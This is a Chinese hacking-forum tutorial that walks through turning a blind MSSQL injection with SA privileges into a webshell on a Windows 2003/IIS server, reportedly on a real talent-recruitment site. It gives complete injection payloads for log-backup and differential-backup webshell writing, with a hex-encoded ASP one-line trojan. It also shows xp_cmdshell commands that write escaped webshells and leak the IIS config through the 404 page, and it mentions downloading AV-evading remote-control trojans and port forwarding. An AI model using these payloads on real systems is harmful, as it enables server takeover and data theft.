sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————

0 J; x; x: m7 }5 J9 R; O7 h" U
9 q" E& a+ y! Y# s" N2 r7 K* Z                                                             欢迎高手访问指导，欢迎新手朋友交流学习。

                                                                 
# K( l/ z. p2 K* @* C, ^                                                                 
5 f9 E5 y& i0 v' q8 S! Y  ]                                                                  论坛： http://www.90team.net/


! R; j( S6 m: H' Y: b
友情检测国家人才网
* F: M8 B% W  O9 k0 F# s/ W9 x, z1 W

内容：MSSQL注入SA权限不显错模式下的入侵
' L+ d- L3 q9 i2 `* f
- d4 I7 Y7 d# x2 M. V, V: v, R, L
4 ~  T# l" F$ M, \% \  h一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
: J9 U, H3 Y" h
( Q( N+ Z5 g3 h我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
% X; D. g( i+ y& c9 j

这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
2 [& o1 t) k( w, C, @
思路：

$ B; T2 u- {; ]# b# Q/ b首先：

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

1.日志备份获得Webshell
+ s: G. B" M% A$ E: e2 E
2.数据库差异备份获得Webshell
8 `4 m  t% i$ {
4 x4 f  b; c. m9 |8 X$ m. t$ K4.直接下载免杀远控木马。
) t! C1 P1 |3 u- [5 X  ?- _0 G1 @
; n( q0 M7 r0 Q+ k4 _# I5.直接下载LCX将服务器端口转发出来

6 Q) o6 l8 {9 S  X5 D- j& r6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。

: g7 C7 h& W; K" {9 b, D, S

8 Z) t& v) z$ ^7 b: @在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
% O: U5 \6 Y3 y3 X7 r; B. w% s
% P" b1 }) `& Q( T6 w我直接演示后面一个方法
' V  u9 e7 H( b: p

. G6 D5 o, J$ k4 c# K; J分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
  U4 J/ V3 ^! e: |+ v* l. D) f
. o$ F. Q2 u" {4 q# a" T4 V, y( x

8 w% P- ]1 x* H+ r! `! }# d7 h
  l' J$ [, v( d# s0 R◆日志备份：
' Y9 m* i/ t& K- S' F  m, A; a. @+ ^
* ]0 ~  m- T( b3 j- [4 h: |
1. 进行初始备份
$ v" u) U* s; R1 `) Y; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
  X0 T* b, n' v
5 I% `0 W3 R" |8 p# W" U5 ], H0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
2 ~7 x" O, g" s  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--



- `4 G( L7 K5 ]; b6 _◆数据库差异备份

（1. 进行差异备份准备工作
. d2 {6 J9 C! l! M2 P! g
- \2 Q. h7 v8 C1 \" H;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
8 e2 R) z7 t8 U3 F( B
上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码

1 T% J. ^: T. `9 n% a
（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

% H5 d$ ?5 j8 w7 ~* M2 y% M) k. [0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件
* \$ n1 x# C: j
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件



4 |- n4 N! i- J- ]用^转义字符来写ASP(一句话木马)文件的方法:   
( z' E) L4 T4 Y
1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

5 G' K) j' K) [) ~# w9 |2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
1 l* r9 F$ w9 z0 T9 h
% B2 @1 V; J! a; i读取IIS配置信息获取web路径
% }6 t6 S1 ~+ ]
     
7 r7 e2 E: }! M" ~/ F* y     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

执行命令
5 K2 |# x/ m) t$ x% ^5 x     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
% t$ u9 Z0 _4 x; z


# f# d2 A6 a! N, ]4 c+ x' X8 |
  n% s3 T, Q4 s. v
4 E: {0 w9 b' V' U
& b. H1 }: O$ r$ U



( f' k5 L8 @1 e1 W9 ^

$ L. n2 n3 p1 N( t7 G* m1 E' }
# v$ t$ Z) J! G7 {+ J
6 Q- S: y9 Q6 V! N: L0 }7 R' X

9 f0 d3 a. f4 d( L; H





1 c! D  I3 f1 W% u  T
" q- B3 \8 @$ \/ }9 q2 q





0 w. g9 @* }& X! `4 l( M
/ L0 v$ o3 e+ n) n6 Y2 z
6 D% Q$ @/ _) g/ E2 ~5 @* M9 w$ @



1 m: c: ]/ o7 F8 t" \
/ E' q9 `6 m) y- V! X
7 g9 j9 q# ?4 o0 Q$ @! `

8 q- o/ [" \: T; ?3 }

# [' _! c& B' z4 @: t) \2 X
4 i- ]0 {* u5 z9 g

+ x6 c: `% L- G" O9 E

) V) K9 U! H) V  D. C+ \' S! C